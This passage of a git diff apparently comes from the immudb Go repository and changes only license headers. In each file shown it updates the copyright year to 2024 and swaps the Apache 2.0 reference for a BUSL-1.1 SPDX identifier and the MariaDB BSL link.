98f1695751..a2f19fa8ef 100644 --- a/pkg/errors/error.go +++ b/pkg/errors/error.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/errors/errors_test.go b/pkg/errors/errors_test.go index 6445d28a3a..a09e4dc698 100644 --- a/pkg/errors/errors_test.go +++ b/pkg/errors/errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/errors/grpc_status.go b/pkg/errors/grpc_status.go index 10c593bf37..84526353cc 100644 --- a/pkg/errors/grpc_status.go +++ b/pkg/errors/grpc_status.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/errors/grpc_status_test.go b/pkg/errors/grpc_status_test.go index 62836eb3b7..0a1e5f95bd 100644 --- a/pkg/errors/grpc_status_test.go +++ b/pkg/errors/grpc_status_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/errors/map.go b/pkg/errors/map.go index 4d59ef72ee..e96204a3d3 100644 --- a/pkg/errors/map.go +++ b/pkg/errors/map.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/errors/map_test.go b/pkg/errors/map_test.go index 0bbc527c1d..d6ab7607b9 100644 --- a/pkg/errors/map_test.go +++ b/pkg/errors/map_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/errors/meta.go b/pkg/errors/meta.go index 5b74cb63c5..8736755681 100644 --- a/pkg/errors/meta.go +++ b/pkg/errors/meta.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/errors/wrapped.go b/pkg/errors/wrapped.go index 586c1d97ea..5ff11cfa8a 100644 --- a/pkg/errors/wrapped.go +++ b/pkg/errors/wrapped.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/fs/copy.go b/pkg/fs/copy.go index 98efdb216f..e39697129d 100644 --- a/pkg/fs/copy.go +++ b/pkg/fs/copy.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/fs/copy_test.go b/pkg/fs/copy_test.go index 891549b2a4..57cc573462 100644 --- a/pkg/fs/copy_test.go +++ b/pkg/fs/copy_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/fs/tar.go b/pkg/fs/tar.go index 7344244a78..2e3916c839 100644 --- a/pkg/fs/tar.go +++ b/pkg/fs/tar.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/fs/tar_test.go b/pkg/fs/tar_test.go index a215775489..5def85ca03 100644 --- a/pkg/fs/tar_test.go +++ b/pkg/fs/tar_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/fs/zip.go b/pkg/fs/zip.go index 0390f34d1e..8eadb093cd 100644 --- a/pkg/fs/zip.go +++ b/pkg/fs/zip.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/fs/zip_test.go b/pkg/fs/zip_test.go index f751e08b9f..eb4c7c812a 100644 --- a/pkg/fs/zip_test.go +++ b/pkg/fs/zip_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/immuos/filepath.go b/pkg/immuos/filepath.go index a391ce3c94..50126b3186 100644 --- a/pkg/immuos/filepath.go +++ b/pkg/immuos/filepath.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/immuos/filepath_test.go b/pkg/immuos/filepath_test.go index 7f4aef5e48..e947bb1880 100644 --- a/pkg/immuos/filepath_test.go +++ b/pkg/immuos/filepath_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/immuos/ioutil.go b/pkg/immuos/ioutil.go index dfd76e16f1..c251898502 100644 --- a/pkg/immuos/ioutil.go +++ b/pkg/immuos/ioutil.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/immuos/ioutil_test.go b/pkg/immuos/ioutil_test.go index b2c140c165..2f58dda89b 100644 --- a/pkg/immuos/ioutil_test.go +++ b/pkg/immuos/ioutil_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/immuos/os.go b/pkg/immuos/os.go index 92f87b6ef3..1ab26ee302 100644 --- a/pkg/immuos/os.go +++ b/pkg/immuos/os.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/immuos/os_test.go b/pkg/immuos/os_test.go index 5ac959cba4..c524168206 100644 --- a/pkg/immuos/os_test.go +++ b/pkg/immuos/os_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/immuos/user.go b/pkg/immuos/user.go index 56d004e930..70f6355ec8 100644 --- a/pkg/immuos/user.go +++ b/pkg/immuos/user.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/immuos/user_test.go b/pkg/immuos/user_test.go index 29ea80b4aa..e546e95817 100644 --- a/pkg/immuos/user_test.go +++ b/pkg/immuos/user_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/auditor_test.go b/pkg/integration/auditor_test.go index 3ac22ef57c..268c8c4971 100644 --- a/pkg/integration/auditor_test.go +++ b/pkg/integration/auditor_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index cd43bb084a..cd5e5dd5ae 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/database_creation_test.go b/pkg/integration/database_creation_test.go index 89941bf616..725a6af60f 100644 --- a/pkg/integration/database_creation_test.go +++ b/pkg/integration/database_creation_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/database_runtime_test.go b/pkg/integration/database_runtime_test.go index 2474416f98..45e8a38d99 100644 --- a/pkg/integration/database_runtime_test.go +++ b/pkg/integration/database_runtime_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/error_test.go b/pkg/integration/error_test.go index e94b56ced1..b2579026e8 100644 --- a/pkg/integration/error_test.go +++ b/pkg/integration/error_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 8a4f70f73b..8a7c3eb46d 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/fuzzing/grpc_fuzz_test.go b/pkg/integration/fuzzing/grpc_fuzz_test.go index 39fcf28187..eb7b4b96b0 100644 --- a/pkg/integration/fuzzing/grpc_fuzz_test.go +++ b/pkg/integration/fuzzing/grpc_fuzz_test.go @@ -2,13 +2,13 @@ // +build go1.18 /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/replication/docker.go b/pkg/integration/replication/docker.go index b5503af637..956fb3a668 100644 --- a/pkg/integration/replication/docker.go +++ b/pkg/integration/replication/docker.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/replication/docker_test.go b/pkg/integration/replication/docker_test.go index 0ea1839be1..61351c234a 100644 --- a/pkg/integration/replication/docker_test.go +++ b/pkg/integration/replication/docker_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/replication/server.go b/pkg/integration/replication/server.go index 2654d63a75..9f10640876 100644 --- a/pkg/integration/replication/server.go +++ b/pkg/integration/replication/server.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/replication/suite.go b/pkg/integration/replication/suite.go index 333bf2664b..7e174040ea 100644 --- a/pkg/integration/replication/suite.go +++ b/pkg/integration/replication/suite.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/replication/synchronous_replication_test.go b/pkg/integration/replication/synchronous_replication_test.go index d983ab2973..229e1a3a47 100644 --- a/pkg/integration/replication/synchronous_replication_test.go +++ b/pkg/integration/replication/synchronous_replication_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/server_recovery_test.go b/pkg/integration/server_recovery_test.go index 80fcd67aec..f2bbee3f47 100644 --- a/pkg/integration/server_recovery_test.go +++ b/pkg/integration/server_recovery_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/session_test.go b/pkg/integration/session_test.go index 02e6e162d2..33e9b05832 100644 --- a/pkg/integration/session_test.go +++ b/pkg/integration/session_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/signature_verifier_interceptor_test.go b/pkg/integration/signature_verifier_interceptor_test.go index e15bdfbcb2..2e1d3e9a7f 100644 --- a/pkg/integration/signature_verifier_interceptor_test.go +++ b/pkg/integration/signature_verifier_interceptor_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/sql/sql_test.go b/pkg/integration/sql/sql_test.go index cc865866a0..b65957c2de 100644 --- a/pkg/integration/sql/sql_test.go +++ b/pkg/integration/sql/sql_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/sql_types_test.go b/pkg/integration/sql_types_test.go index 4196b98f75..8426e7c849 100644 --- a/pkg/integration/sql_types_test.go +++ b/pkg/integration/sql_types_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/stream/stream_replication_test.go b/pkg/integration/stream/stream_replication_test.go index 0e0a8db6a3..efdf38e612 100644 --- a/pkg/integration/stream/stream_replication_test.go +++ b/pkg/integration/stream/stream_replication_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/stream/stream_test.go b/pkg/integration/stream/stream_test.go index 9d5d40a808..74cb210efe 100644 --- a/pkg/integration/stream/stream_test.go +++ b/pkg/integration/stream/stream_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/stream/streams_verified_test.go b/pkg/integration/stream/streams_verified_test.go index 6239747afe..2ff148bd8f 100644 --- a/pkg/integration/stream/streams_verified_test.go +++ b/pkg/integration/stream/streams_verified_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/stream/streams_zscan_and_history_test.go b/pkg/integration/stream/streams_zscan_and_history_test.go index aa2047f9b4..95fa87170a 100644 --- a/pkg/integration/stream/streams_zscan_and_history_test.go +++ b/pkg/integration/stream/streams_zscan_and_history_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/tx/transaction_test.go b/pkg/integration/tx/transaction_test.go index 958a3f2ea1..6551044246 100644 --- a/pkg/integration/tx/transaction_test.go +++ b/pkg/integration/tx/transaction_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/tx/tx_entries_test.go b/pkg/integration/tx/tx_entries_test.go index b7b999e1d8..563ed9daa8 100644 --- a/pkg/integration/tx/tx_entries_test.go +++ b/pkg/integration/tx/tx_entries_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/integration/verification_long_linear_proof_test.go b/pkg/integration/verification_long_linear_proof_test.go index 5537d8663c..4cd5fc01ef 100644 --- a/pkg/integration/verification_long_linear_proof_test.go +++ b/pkg/integration/verification_long_linear_proof_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/errors/errors.go b/pkg/pgsql/errors/errors.go index 3d25789b27..616850eaa6 100644 --- a/pkg/pgsql/errors/errors.go +++ b/pkg/pgsql/errors/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required 